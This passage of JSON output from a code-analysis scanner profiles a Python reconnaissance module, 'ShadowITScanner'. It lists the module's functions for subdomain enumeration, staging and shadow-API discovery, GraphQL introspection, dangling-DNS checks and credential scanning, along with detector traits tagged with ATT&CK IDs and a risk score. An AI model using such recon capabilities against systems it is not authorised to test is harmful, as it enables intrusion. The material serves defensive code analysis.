"z^)TbB1RMVBrz$ZgBT\u003c$zF{UfvrMu{z/cWCd(eQYarR^HarR^HeG^\u00269wfs@(A+50!wPI]nC4CYnx(v(iB7]o8vruTjwPF$xd\u003e%1j3lQDlarR^Hat1ZiB-.e5By!#9n(D\u003cGx\u003c#9\u003eA+P9aasH#4B.bPsatCG[efEn$z/*5xA:-]fgCi]3asF-{fEWtKarR^HarR^UaxAh$x\u003c$)\u0026aw+Q9az2Olz/P[wc[v2fdgdguarR^HarSlUq/(CTyAN.tvpJ\u003e\u0026", "ln": 69926, "col": 15, "line": 1630 }, { "b": "wmV(EjS(QofGGK-arR^HarR^HarR!Fv@Dy0as/O$f!-}SarR^HarR!ry?WG7B97\u0026jB-Q]1z!9A4vqYP#B97\u0026jB-Q]1z!9A4jV%]AfF+-%arR^HarR^HarR^HB7ocewGSG^at\u003cGkarR^HarR^HA+funA=91px(ktuv@Dy0efDV3fEWto3l{VBeIeLaeIeLaeIeLaeIeLaeIeLaeIeLaeIeLaeIeLaeIeLaeIeLaeIeLaeIeLaeIeLaeIeLaeIeLaeIeLaeIc", "ln": 71300, "col": 37, "line": 1663 }, { "b": "zE\u003evwBzkP6z/{d.azC.nauZ\u0026bdiHiaavG{NBx-*dAX5t0zH2IG3lQDlar\u00260N3lQDlavy6+C4CM9wO#0?azb+lv@#B6zAn[XB-5sgazb+jy-)!jvpTq2aw2JPB7nS@aA}KwxDReazFr@@y-)!gBAIKP3jm)#arS\u003cij%jDTz/3RqwN/T@Ab]\u003eHB7!#)z*bM5BrCpmAbP=saAqKrv@2B)v{%lZarR^Hk0zdMA+frmy\u0026\u003c.vjS[-!x\u003e7{=B7nS@c)AkEvqP$1wIdFhz6yzoarR^Ha%FirarR^Hx\u003ewF%vrl0!B-Ipvx(+y(z/fbE3lQDlarR^HayX=2wNxO2y-\u003e\u003e-w*g]gBz#pZfe4V]vrc0(BBttuarR^HB7nS@zE)\u0026hjS)WpvpTq2nMnR#vqY%]AWV3zzdNTdBuK.WzdNTdBsvLtarR!EwPN", "ln": 71710, "col": 57, "line": 1676 } ], "depth": 1, "facts": { "imp": [ [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "list" ], [ "", "field" ], [ "", "field" ], [ "", "datetime.now.isoformat" ], [ "", "datetime.now" ], [ "", "default_headers.update" ], [ "", "Request" ], [ "", "urlopen" ], [ "", "k.lower" ], [ "", "resp.getheaders" ], [ "", "resp.getcode" ], [ "", "resp.geturl" ], [ "", "resp.read" ], [ "", "body.decode" ], [ "", "k.lower" ], [ "", "exc.read" ], [ "", "body.decode" ], [ "", "urljoin" ], [ "", "base_url.rstrip" ], [ "", "path.lstrip" ], [ "", "_make_request" ], [ "", "_check_certificate_age" ], [ "", "urlparse" ], [ "", "_extract_title" ], [ "", "_detect_tech_stack" ], [ "", "_classify_asset" ], [ "", "indicators.extend" ], [ "", "_assess_indicators" ], [ "", "resp_headers.get" ], [ "", "_calculate_decay_from_indicators" ], [ "", "AssetProfile" ], [ "", "resp_headers.get" ], [ "", "re.search" ], [ "", "m.group.strip" ], [ "", "m.group" ], [ "", "headers.get" ], [ "", "server.lower" ], [ "", "stack.append" ], [ "", "server.lower" ], [ "", "stack.append" ], [ "", "server.lower" ], [ "", "stack.append" ], [ "", "server.lower" ], [ "", "stack.append" ], [ "", "headers.get" ], [ "", "powered_by.lower" ], [ "", "stack.append" ], [ "", "powered_by.lower" ], [ "", "stack.append" ], [ "", "powered_by.lower" ], [ "", "stack.append" ], [ "", "powered_by.lower" ], [ "", "stack.append" ], [ "", "stack.append" ], [ "", "re.search" ], [ "", "stack.append" ], [ "", "body.lower" ], [ "", "stack.append" ], [ "", "stack.append" ], [ "", "body.lower" ], [ "", "stack.append" ], [ "", "body.lower" ], [ "", "stack.append" ], [ "", "body.lower" ], [ "", "stack.append" ], [ "", "re.search" ], [ "", "stack.append" ], [ "", "body.lower" ], [ "", "stack.append" ], [ "", "body.lower" ], [ "", "stack.append" ], [ "", "body.lower" ], [ "", "stack.append" ], [ "", "body.lower" ], [ "", "stack.append" ], [ "", "body.lower" ], [ "", "stack.append" ], [ "", "list" ], [ "", "dict.fromkeys" ], [ "", "inspection_context" ], [ "", "socket.create_connection" ], [ "", "ctx.wrap_socket" ], [ "", "tls_sock.getpeercert" ], [ "", "tls_sock.getpeercert" ], [ "", "datetime.now" ], [ "", "datetime.strptime.replace" ], [ "", "datetime.strptime" ], [ "", "datetime.strptime.replace" ], [ "", "datetime.strptime" ], [ "", "delta.total_seconds" ], [ "", "cert_dict.get" ], [ "", "cert_dict.get" ], [ "", "cert_dict.get" ], [ "", "san_value.lower" ], [ "", "host.lower" ], [ "", "subject.lower" ], [ "", "host.lower" ], [ "", "any" ], [ "", "hashlib.sha256.hexdigest" ], [ "", "hashlib.sha256" ], [ "", "not_before.isoformat" ], [ "", "not_after.isoformat" ], [ "", "body.lower" ], [ "", "re.search" ], [ "", "default.lower" ], [ "", "title.lower" ], [ "", "title.lower" ], [ "", "title.lower" ], [ "", "title.lower" ], [ "", "headers.get" ], [ "", "headers.get" ], [ "", "old.lower" ], [ "", "server.lower" ], [ "", "indicators.append" ], [ "", "k.lower" ], [ "", "indicators.append" ], [ "", "indicators.append" ], [ "", "indicators.append" ], [ "", "default_title.lower" ], [ "", "title.lower" ], [ "", "indicators.append" ], [ "", "title.lower" ], [ "", "indicators.append" ], [ "", "pat.search" ], [ "", "indicators.append" ], [ "", "pat.search" ], [ "", "indicators.append" ], [ "", "re.search" ], [ "", "indicators.append" ], [ "", "body.lower" ], [ "", "body.lower" ], [ "", "indicators.append" ], [ "", "body.lower" ], [ "", "body.lower" ], [ "", "indicators.append" ], [ "", "re.search" ], [ "", "indicators.append" ], [ "", "cert_info.get" ], [ "", "indicators.append" ], [ "", "cert_info.get" ], [ "", "indicators.append" ], [ "", "cert_info.get" ], [ "", "indicators.append" ], [ "", "cert_info.get" ], [ "", "cert_info.get" ], [ "", "indicators.append" ], [ "", "list" ], [ "", "dict.fromkeys" ], [ "", "weight_map.get" ], [ "", "cert_info.get" ], [ "", "max" ], [ "", "cert_info.get" ], [ "", "min" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "datetime.now.isoformat" ], [ "", "datetime.now" ], [ "", "cat_func" ], [ "", "isinstance" ], [ "", "a.to_dict" ], [ "", "isinstance" ], [ "", "isinstance" ], [ "", "str" ], [ "", "results.findings.items" ], [ "", "isinstance" ], [ "", "isinstance" ], [ "", "item.get" ], [ "", "isinstance" ], [ "", "isinstance" ], [ "", "item.get" ], [ "", "self._query_crtsh" ], [ "", "self._resolve_host" ], [ "", "self._resolve_host" ], [ "", "resolved_hosts.items" ], [ "", "self._profile_host" ], [ "", "found.append" ], [ "", "_make_request" ], [ "", "json.loads" ], [ "", "entry.get" ], [ "", "name_value.split" ], [ "", "name.strip.lstrip" ], [ "", "name.strip" ], [ "", "name.endswith" ], [ "", "hosts.append" ], [ "", "re.escape" ], [ "", "pattern.findall" ], [ "", "m.lstrip" ], [ "", "hosts.append" ], [ "", "socket.getaddrinfo" ], [ "", "_check_certificate_age" ], [ "", "_make_request" ], [ "", "_extract_title" ], [ "", "_detect_tech_stack" ], [ "", "_assess_indicators" ], [ "", "_classify_asset" ], [ "", "_calculate_decay_from_indicators" ], [ "", "AssetProfile" ], [ "", "resp_headers.get" ], [ "", "resp_headers.get" ], [ "", "set" ], [ "", "checked.add" ], [ "", "self._resolve_host" ], [ "", "self._profile_host" ], [ "", "found.append" ], [ "", "urlparse" ], [ "", "_probe_path" ], [ "", "_make_request" ], [ "", "profile.indicators.append" ], [ "", "_calculate_decay_from_indicators" ], [ "", "found.append" ], [ "", "_probe_path" ], [ "", "found.append" ], [ "", "set" ], [ "", "urljoin" ], [ "", "base_url.rstrip" ], [ "", "path.lstrip" ], [ "", "probed_urls.add" ], [ "", "_make_request" ], [ "", "_check_certificate_age" ], [ "", "urlparse" ], [ "", "_extract_title" ], [ "", "_detect_tech_stack" ], [ "", "_assess_indicators" ], [ "", "_classify_asset" ], [ "", "_calculate_decay_from_indicators" ], [ "", "AssetProfile" ], [ "", "resp_headers.get" ], [ "", "resp_headers.get" ], [ "", "found.append" ], [ "", "path.lower" ], [ "", "self._probe_graphql_introspection" ], [ "", "profile.indicators.append" ], [ "", "profile.tech_stack.append" ], [ "", "path.lower" ], [ "", "path.lower" ], [ "", "json.loads" ], [ "", "schema.get" ], [ "", "schema.get" ], [ "", "len" ], [ "", "schema.get" ], [ "", "profile.indicators.append" ], [ "", "profile.tech_stack.append" ], [ "", "json.dumps.encode" ], [ "", "json.dumps" ], [ "", "Request" ], [ "", "urlopen" ], [ "", "resp.read.decode" ], [ "", "resp.read" ], [ "", "json.loads" ], [ "", "result.get" ], [ "", "self._resolve_host" ], [ "", "self._dns_lookup" ], [ "", "self._dns_lookup" ], [ "", "self._dns_lookup" ], [ "", "self._dns_lookup" ], [ "", "ns.rstrip" ], [ "", "self._resolve_host" ], [ "", "orphaned_ns.append" ], [ "", "mx.rstrip" ], [ "", "self._resolve_host" ], [ "", "self._check_port_open" ], [ "", "stale_mx.append" ], [ "", "stale_mx.append" ], [ "", "cname.rstrip" ], [ "", "self._resolve_host" ], [ "", "dangling_cname.append" ], [ "", "AssetProfile" ], [ "", "findings.assets.append" ], [ "", "profile.to_dict" ], [ "", "AssetProfile" ], [ "", "findings.assets.append" ], [ "", "profile.to_dict" ], [ "", "AssetProfile" ], [ "", "findings.assets.append" ], [ "", "profile.to_dict" ], [ "", "socket.getaddrinfo" ], [ "", "results.append" ], [ "", "subprocess.run" ], [ "", "proc.stdout.strip" ], [ "", "proc.stdout.strip.split" ], [ "", "proc.stdout.strip" ], [ "", "line.strip" ], [ "", "results.append" ], [ "", "subprocess.run" ], [ "", "proc.stdout.strip" ], [ "", "proc.stdout.strip.split" ], [ "", "proc.stdout.strip" ], [ "", "line.strip" ], [ "", "line.split" ], [ "", "len" ], [ "", "results.append" ], [ "", "socket.create_connection" ], [ "", "set" ], [ "", "urljoin" ], [ "", "base_url.rstrip" ], [ "", "path.lstrip" ], [ "", "probed_urls.add" ], [ "", "_make_request" ], [ "", "_check_certificate_age" ], [ "", "urlparse" ], [ "", "_extract_title" ], [ "", "_detect_tech_stack" ], [ "", "_assess_indicators" ], [ "", "_classify_asset" ], [ "", "_calculate_decay_from_indicators" ], [ "", "AssetProfile" ], [ "", "resp_headers.get" ], [ "", "resp_headers.get" ], [ "", "found.append" ], [ "", "set" ], [ "", "urljoin" ], [ "", "base_url.rstrip" ], [ "", "path.lstrip" ], [ "", "probed_urls.add" ], [ "", "_make_request" ], [ "", "_check_certificate_age" ], [ "", "urlparse" ], [ "", "_extract_title" ], [ "", "_detect_tech_stack" ], [ "", "_assess_indicators" ], [ "", "_classify_asset" ], [ "", "self._scan_for_credentials" ], [ "", "indicators.append" ], [ "", "_calculate_decay_from_indicators" ], [ "", "max" ], [ "", "AssetProfile" ], [ "", "resp_headers.get" ], [ "", "resp_headers.get" ], [ "", "found.append" ], [ "", "_make_request" ], [ "", "self._scan_for_credentials" ], [ "", "_check_certificate_age" ], [ "", "urlparse" ], [ "", "_extract_title" ], [ "", "AssetProfile" ], [ "", "max" ], [ "", "len" ], [ "", "found.append" ], [ "", "set" ], [ "", "pattern.findall" ], [ "", "detect_pat.search" ], [ "", "hits.append" ], [ "", "seen_types.add" ], [ "", "set" ], [ "", "urljoin" ], [ "", "base_url.rstrip" ], [ "", "path.lstrip" ], [ "", "probed_urls.add" ], [ "", "_make_request" ], [ "", "_check_certificate_age" ], [ "", "urlparse" ], [ "", "_extract_title" ], [ "", "_detect_tech_stack" ], [ "", "_assess_indicators" ], [ "", "_classify_asset" ], [ "", "_calculate_decay_from_indicators" ], [ "", "max" ], [ "", "title.lower" ], [ "", "any" ], [ "", "indicators.append" ], [ "", "max" ], [ "", "any" ], [ "", "indicators.append" ], [ "", "max" ], [ "", "any" ], [ "", "indicators.append" ], [ "", "max" ], [ "", "any" ], [ "", "indicators.append" ], [ "", "max" ], [ "", "any" ], [ "", "indicators.append" ], [ "", "max" ], [ "", "AssetProfile" ], [ "", "min" ], [ "", "resp_headers.get" ], [ "", "resp_headers.get" ], [ "", "found.append" ], [ "", "asset_info.get" ], [ "", "asset_info.get" ], [ "", "asset_info.get" ], [ "", "asset_info.get" ], [ "", "asset_info.get" ], [ "", "_assess_indicators" ], [ "", "_calculate_decay_from_indicators" ], [ "", "asset_info.get" ], [ "", "asset_info.get" ], [ "", "asset_info.get" ], [ "", "min" ], [ "", "ShadowITScanner" ], [ "", "scanner.scan" ], [ "", ".http_layer" ], [ "", ".http_layer.inspection_context" ], [ "", "Any" ], [ "", "Dict" ], [ "", "HTTPError" ], [ "", "List" ], [ "", "Optional" ], [ "", "Request" ], [ "", "Tuple" ], [ "", "URLError" ], [ "", "URLError" ], [ "", "dataclass" ], [ "", "dataclasses" ], [ "", "datetime" ], [ "", "field" ], [ "", "hashlib" ], [ "", "http.client" ], [ "", "json" ], [ "", "os" ], [ "", "quote" ], [ "", "re" ], [ "", "socket" ], [ "", "ssl" ], [ "", "subprocess" ], [ "", "time" ], [ "", "timedelta" ], [ "", "timezone" ], [ "", "typing" ], [ "", "urljoin" ], [ "", "urllib.error" ], [ "", "urllib.parse" ], [ "", "urllib.request" ], [ "", "urlopen" ], [ "", "urlparse" ] ], "mbr": [ "DecayIndicators.DEFAULT_PAGE_TITLES", "DecayIndicators.MISSING_SECURITY_HEADERS", "DecayIndicators.OUTDATED_JS_SIGNATURES", "DecayIndicators.OUTDATED_SERVER_HEADERS", "DecayIndicators.WORDPRESS_OLD_SIGNATURES", "a.to_dict", "asset_info.get", "base_url.rstrip", "body.decode", "body.lower", "cat_val.assets", "cert_dict.get", "cert_dict.notAfter", "cert_dict.notBefore", "cert_info.age_days", "cert_info.days_until_expiry", "cert_info.get", "checked.add", "cls.INFRASTRUCTURE_DECAY_MARKERS", "cname.rstrip", "ctx.wrap_socket", "dangling_cname.append", "datetime.now", "datetime.now.isoformat", "datetime.strptime", "datetime.strptime.replace", "default.lower", "default_headers.update", "default_title.lower", "delta.days", "delta.total_seconds", "detect_pat.search", "dict.fromkeys", "entry.get", "exc.code", "exc.headers", "exc.read", "findings.assets", "findings.assets.append", "findings.dangling_cname", "findings.orphaned_ns", "findings.records", "findings.records.A", "findings.records.CNAME", "findings.records.MX", "findings.records.NS", "findings.records.TXT", "findings.stale_mx", "found.append", "hashlib.sha256", "hashlib.sha256.hexdigest", "headers.get", "hits.append", "host.lower", "hosts.append", "indicators.append", "indicators.extend", "item.get", "json.JSONDecodeError", "json.dumps", "json.dumps.encode", "json.loads", "k.lower", "line.split", "line.strip", "m.group", "m.group.strip", "m.lstrip", "mx.rstrip", "mx_info.host", "mx_info.issue", "name.endswith", "name.strip", "name.strip.lstrip", "name_value.split", "not_after.isoformat", "not_before.isoformat", "ns.rstrip", "old.lower", "orphaned_ns.append", "p.discovered_by", "p.status_code", "parsed.hostname", "parsed.scheme", "pat.search", "path.lower", "path.lstrip", "pattern.findall", "powered_by.lower", "probed_urls.add", "proc.returncode", "proc.stdout", "proc.stdout.strip", "proc.stdout.strip.split", "profile.asset_type", "profile.cert_info", "profile.decay_score", "profile.discovered_by", "profile.indicators", "profile.indicators.append", "profile.risk_level", "profile.status_code", "profile.tech_stack", "profile.tech_stack.append", "profile.to_dict", "re.I", "re.M", "re.Pattern", "re.S", "re.compile", "re.escape", "re.search", "resolved_hosts.items", "resp.getcode", "resp.getheaders", "resp.geturl", "resp.read", "resp.read.decode", "resp_headers.get", "result.get", "results.append", "results.findings", "results.findings.items", "results.summary", "results.summary.categories_with_findings", "results.summary.critical", "results.summary.high", "results.summary.info", "results.summary.low", "results.summary.medium", "results.summary.total_assets", "risk_counts.critical", "risk_counts.high", "risk_counts.info", "risk_counts.low", "risk_counts.medium", "san_value.lower", "scanner.scan", "schema.get", "seen_types.add", "self.CLOUD_CREDENTIAL_PATTERNS", "self.CLOUD_LEAK_PATHS", "self.COMMON_SUBDOMAIN_PREFIXES", "self.FORGOTTEN_SERVICE_PATHS", "self.INTERNAL_EXPOSURE_PATHS", "self.SHADOW_API_PATHS", "self.STAGING_PATTERNS", "self._check_port_open", "self._dns_lookup", "self._probe_graphql_introspection", "self._profile_host", "self._query_crtsh", "self._resolve_host", "self._scan_for_credentials", "self._session_headers", "self.asset_type", "self.cert_info", "self.decay_score", "self.discover_abandoned_infrastructure", "self.discover_cloud_leaks", "self.discover_forgotten_services", "self.discover_forgotten_subdomains", "self.discover_internal_exposure", "self.discover_orphaned_dns", "self.discover_shadow_apis", "self.discover_staging_environments", "self.discovered_by", "self.indicators", "self.last_modified", "self.risk_level", "self.server_header", "self.status_code", "self.tech_stack", "self.timeout", "self.timestamp", "self.title", "self.url", "server.lower", "socket.AF_INET", "socket.AF_INET6", "socket.SOCK_STREAM", "socket.create_connection", "socket.gaierror", "socket.getaddrinfo", "socket.herror", "socket.timeout", "ssl.SSLError", "stack.append", "stale_mx.append", "subject.lower", "subprocess.DEVNULL", "subprocess.TimeoutExpired", "subprocess.run", "timezone.utc", "title.lower", "tls_sock.getpeercert", "urlparse.hostname", "weight_map.get" ], "tgt": [ "AssetProfile", "Request", "ShadowITScanner", "_assess_indicators", "_calculate_decay_from_indicators", "_check_certificate_age", "_classify_asset", "_detect_tech_stack", "_extract_title", "_make_request", "_probe_path", "a.to_dict", "any", "asset_info.get", "base_url.rstrip", "body.decode", "body.lower", "cat_func", "cert_dict.get", "cert_info.get", "checked.add", "cname.rstrip", "ctx.wrap_socket", "dangling_cname.append", "datetime.now", "datetime.now.isoformat", "datetime.strptime", "datetime.strptime.replace", "default.lower", "default_headers.update", "default_title.lower", "delta.total_seconds", "detect_pat.search", "dict.fromkeys", "entry.get", "exc.read", "field", "findings.assets.append", "found.append", "hashlib.sha256", "hashlib.sha256.hexdigest", "headers.get", "hits.append", "host.lower", "hosts.append", "indicators.append", "indicators.extend", "inspection_context", "isinstance", "item.get", "json.dumps", "json.dumps.encode", "json.loads", "k.lower", "len", "line.split", "line.strip", "list", "m.group", "m.group.strip", "m.lstrip", "max", "min", "mx.rstrip", "name.endswith", "name.strip", "name.strip.lstrip", "name_value.split", "not_after.isoformat", "not_before.isoformat", "ns.rstrip", "old.lower", "orphaned_ns.append", "pat.search", "path.lower", "path.lstrip", "pattern.findall", "powered_by.lower", "probed_urls.add", "proc.stdout.strip", "proc.stdout.strip.split", "profile.indicators.append", "profile.tech_stack.append", "profile.to_dict", "re.compile", "re.escape", "re.search", "resolved_hosts.items", "resp.getcode", "resp.getheaders", "resp.geturl", "resp.read", "resp.read.decode", "resp_headers.get", "result.get", "results.append", "results.findings.items", "san_value.lower", "scanner.scan", "schema.get", "seen_types.add", "self._check_port_open", "self._dns_lookup", "self._probe_graphql_introspection", "self._profile_host", "self._query_crtsh", "self._resolve_host", "self._scan_for_credentials", "server.lower", "set", "socket.create_connection", "socket.getaddrinfo", "stack.append", "stale_mx.append", "str", "subject.lower", "subprocess.run", "title.lower", "tls_sock.getpeercert", "urljoin", "urlopen", "urlparse", "weight_map.get" ], "funcs": [ [ "all_indicators", 4778 ], [ "__post_init__", 5679 ], [ "to_dict", 6166 ], [ "_make_request", 7008 ], [ "_probe_path", 8710 ], [ "_extract_title", 9971 ], [ "_detect_tech_stack", 10187 ], [ "_check_certificate_age", 12322 ], [ "_classify_asset", 15907 ], [ "_assess_indicators", 18304 ], [ "_calculate_decay_from_indicators", 21059 ], [ "__init__", 33986 ], [ "scan", 34619 ], [ "discover_forgotten_subdomains", 38425 ], [ "_query_crtsh", 39681 ], [ "_resolve_host", 41149 ], [ "_profile_host", 41544 ], [ "discover_staging_environments", 43185 ], [ "discover_abandoned_infrastructure", 44185 ], [ "discover_shadow_apis", 47181 ], [ "_probe_graphql_introspection", 50036 ], [ "discover_orphaned_dns", 51333 ], [ "_dns_lookup", 54881 ], [ "_check_port_open", 57155 ], [ "discover_forgotten_services", 57669 ], [ "discover_cloud_leaks", 59866 ], [ "_scan_for_credentials", 63204 ], [ "discover_internal_exposure", 65514 ], [ "calculate_decay_score", 69499 ], [ "quick_scan", 71654 ] ], "metrics": { "ast": { "op.add": 23, "op.bor": 2, "op.lor": 68, "op.mul": 1, "op.sub": 3, "op.land": 31, "max_depth": 22, "call_count": 453, "node_count": 17686, "member_count": 198, "max_array_len": 183, "op_density.add": 0, "op_density.bor": 0, "op_density.lor": 0, "op_density.mul": 0, "op_density.sub": 0, "op_density.land": 0, "max_concat_chain": 3, "member_depth_max": 4, "max_numeric_array": 10 }, "file": { "size": 72096, "entropy": 4.57 }, "text": { "lines": 1686, "top_char": 101, "max_ws_run": 32, "digit_ratio": 0.02, "space_count": 20472, "char_entropy": 4.57, "unique_chars": 98, "top_char_null": 0, "string_density": 0.79, "top_char_ratio": 0.06, "ascii_art_lines": 30, "avg_line_length": 41.76, "max_line_length": 127, "non_ascii_ratio": 0, "empty_line_ratio": 0.09, "last_line_length": 50, "long_token_count": 1, "whitespace_ratio": 0.31, "identifier_density": 1.56, "line_length_stddev": 24.83, "encoded_string_ratio": 0, "normalized_string_count": 32.24, "repeated_char_sequences": 698, "suspicious_string_ratio": 0, "suspicious_comment_ratio": 0.01, "suspicious_identifier_ratio": 0.02, "normalized_unique_identifiers": 30.41 }, "binds": { "count": 294 }, "binary": { "peak_region_bytes": 14752, "peak_region_entropy": 5 }, "source": { "class_count": 3, "function_count": 30 }, "imports": { "count": 34, "aliased": 1, "relative": 2, "stdlib_count": 15, "stdlib_ratio": 0.44, "relative_ratio": 0.06, "third_party_count": 19, "third_party_ratio": 0.56 }, "strings": { "sql": 2, "bytes": 18414, "count": 1324, "shell": 2, "url_count": 5, "avg_length": 13.91, "max_length": 993, "path_count": 344, "avg_entropy": 2.75, "empty_count": 47, "domain_count": 2, "entropy_stddev": 0.85, "base64_candidates": 1, "embedded_code_candidates": 2 }, "comments": { "chars": 4713, "count": 116, "lines": 116, "high_entropy": 1, "to_code_ratio": 0.07 }, "functions": { "count": 33, "density": 1.78, "avg_params": 2.37, "code_ratio": 0.71, "max_params": 5, "length_stddev": 24.8, "avg_name_length": 17.97, "avg_length_lines": 40.1, "max_length_lines": 96, "min_length_lines": 3, "high_entropy_names": 11, "avg_param_name_length": 5.86 }, "identifiers": { "count": 2636, "unique": 326, "avg_length": 8.85, "max_length": 33, "min_length": 1, "avg_entropy": 2.52, "reuse_ratio": 0.12, "length_stddev": 5.91, "has_digit_ratio": 0.01, "sequential_names": 8, "single_char_count": 9, "single_char_ratio": 0.03, "high_entropy_count": 27, "high_entropy_ratio": 0.08, "all_lowercase_ratio": 0.87, "all_uppercase_ratio": 0.06, "numeric_suffix_count": 3, "double_underscore_count": 2, "underscore_prefix_count": 19 } } }, "id": 91, "mol": "O₁₁(DyAlAsC₂Ca₃CoErEuLa₂SXe)H₆(Cm₂₃Cr₂Db₁₀F₈Os₃Po₂)Md₂(In)", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/shadow_it.py", "pid": 0, "risk": 67, "sha": "1ea6207a8ac4df557196175e4dae79749ffee2a426e8c8770d1be63985572c35", "size": 72096, "traits": [ { "id": "metadata/lang/natural::lang-english--atom-1", "conf": 0.8, "crit": 1, "desc": "English function-word token \"the\"", "spans": [ [ 22788, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-2", "conf": 0.8, "crit": 1, "desc": "English function-word token \"and\"", "spans": [ [ 22690, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-5", "conf": 0.8, "crit": 1, "desc": "English function-word token \"for\"", "spans": [ [ 22676, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-6", "conf": 0.8, "crit": 1, "desc": "English function-word token \"with\"", "spans": [ [ 71811, 0 ] ] }, { "id": "metadata/file/catalog/service::service-name-github", "conf": 0.6, "crit": 3, "desc": "GitHub service name", "spans": [ [ 32397, 6 ] ] }, { "id": "metadata/file/catalog/service::service-name-grafana", "conf": 0.82, "crit": 3, "desc": "Grafana service name", "spans": [ [ 57819, 7 ] ] }, { "id": "metadata/file/catalog/service::service-name-slack", "conf": 0.82, "crit": 3, "desc": "Slack service name", "spans": [ [ 32310, 5 ] ] }, { "id": "metadata/file/catalog/service::service-name-stripe", "conf": 0.82, "crit": 3, "desc": "Stripe service name", "spans": [ [ 33011, 6 ] ] }, { "id": "metadata/import/package::python-hashlib-import", "conf": 0.9, "crit": 3, "desc": "Python imports the hashlib library", "spans": [ [ 463, 7 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-3", "conf": 0.8, "crit": 1, "desc": "English function-word token \"that\"", "spans": [ [ 179, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-7", "conf": 0.8, "crit": 1, "desc": "English function-word token \"this\"", "spans": [ [ 1736, 0 ] ] }, { "id": "micro-behaviors/communications/dns/label::python-dns-query-reference", "atk": "T1071.004", "conf": 0.9, "crit": 3, "desc": "Python DNS resolution API reference", "spans": [ [ 41315, 18 ] ] }, { "id": "micro-behaviors/communications/dns/lookup/resolver::getaddrinfo", "conf": 0.85, "crit": 3, "desc": "socket.getaddrinfo() DNS lookup", "spans": [ [ 41315, 18 ] ] }, { "id": "micro-behaviors/communications/http/graphql::api-route", "conf": 0.92, "crit": 3, "desc": "GraphQL API route request", "spans": [ [ 26254, 12 ] ] }, { "id": "micro-behaviors/communications/http/header/content-type::python-json-content-type", "conf": 0.94, "crit": 3, "desc": "Python JSON content type", "spans": [ [ 18124, 16 ] ] }, { "id": "micro-behaviors/communications/http/lib/urllib::urllib-urlopen-call-symbol", "conf": 0.85, "crit": 3, "desc": "Calls fully qualified urllib urlopen", "spans": [ [ 7863, 7 ] ] }, { "id": "micro-behaviors/communications/http/lib/urllib::urlopen-multiple-calls", "conf": 0.9, "crit": 3, "desc": "Multiple urllib URL-open calls in Python file", "spans": [ [ 7863, 7 ] ] }, { "id": "micro-behaviors/communications/http/login::http-login-path", "atk": "T1071.001", "conf": 0.88, "crit": 3, "desc": "HTTP login path", "spans": [ [ 27725, 14 ], [ 27776, 14 ], [ 28215, 12 ], [ 28490, 12 ] ] }, { "id": "micro-behaviors/communications/http/post::post", "atk": "T1071.001", "mbc": "C0002", "conf": 0.7, "crit": 3, "desc": "HTTP POST method string literal", "spans": [ [ 50841, 6 ] ] }, { "id": "micro-behaviors/communications/http/request/credentials::python-post-method-keyword", "atk": "T1071.001", "mbc": "C0002", "conf": 0.9, "crit": 3, "desc": "Sets Python request method to POST", "spans": [ [ 50834, 13 ] ] }, { "id": "micro-behaviors/communications/http/request/wordpress::rest-endpoint-url", "atk": "T1071.001", "mbc": "E1071", "conf": 0.95, "crit": 3, "desc": "References a WordPress REST API endpoint URL", "spans": [ [ 26698, 9 ] ] }, { "id": "micro-behaviors/communications/http/services/artifactory::service-route", "conf": 0.95, "crit": 3, "desc": "References a JFrog Artifactory HTTP route", "spans": [ [ 28784, 21 ] ] }, { "id": "micro-behaviors/communications/http/services/cloud::repeated-gcp-provider-name", "conf": 0.82, "crit": 3, "desc": "Repeated GCP provider name", "spans": [ [ 32031, 3 ] ] }, { "id": "micro-behaviors/communications/http/services/cloud::repeated-public-cloud-provider-name--azure", "conf": 0.4, "crit": 3, "desc": "Public cloud provider name (Azure)", "spans": [ [ 60045, 5 ] ] }, { "id": "micro-behaviors/communications/http/services/cloud::repeated-public-cloud-provider-name--cloudflare", "conf": 0.4, "crit": 3, "desc": "Public cloud provider name (Cloudflare)", "spans": [ [ 14914, 10 ] ] }, { "id": "micro-behaviors/communications/http/services/entra-directory::user-collection-path-token", "conf": 0.92, "crit": 3, "desc": "Microsoft Graph user collection endpoint", "spans": [ [ 28846, 6 ] ] }, { "id": "micro-behaviors/communications/http/services/github::github-graphql-path-option", "conf": 0.94, "crit": 3, "desc": "GitHub GraphQL request path option", "spans": [ [ 26185, 8 ] ] }, { "id": "micro-behaviors/communications/http/url/endpoint::rest-admin-config-user-endpoints", "atk": "T1071.001", "mbc": "C0002", "conf": 0.86, "crit": 3, "desc": "REST admin config endpoints", "spans": [ [ 26806, 8 ] ] }, { "id": "micro-behaviors/communications/ipc/agent-hook::agent-hooks-config-key", "conf": 0.9, "crit": 3, "desc": "AI agent hooks config key", "spans": [ [ 24436, 5 ] ] }, { "id": "micro-behaviors/communications/proxy/relay::relay-target-connect-method", "atk": "T1090,T1572", "conf": 0.86, "crit": 3, "desc": "Client API create_connection call", "spans": [ [ 12692, 24 ] ] }, { "id": "micro-behaviors/communications/proxy/target::target-connect-python", "atk": "T1090,T1572", "conf": 0.94, "crit": 3, "desc": "Python connects to target variable", "spans": [ [ 12699, 23 ] ] }, { "id": "micro-behaviors/communications/socket/connect::socket-create-connection-text", "atk": "T1071", "mbc": "C0001", "conf": 0.85, "crit": 3, "desc": "Python socket create_connection in text", "spans": [ [ 12692, 25 ] ] }, { "id": "micro-behaviors/communications/socket/family::socket-af-inet-name", "atk": "T1071", "mbc": "C0001", "conf": 0.55, "crit": 3, "desc": "AF_INET constant name", "spans": [ [ 41353, 7 ] ] }, { "id": 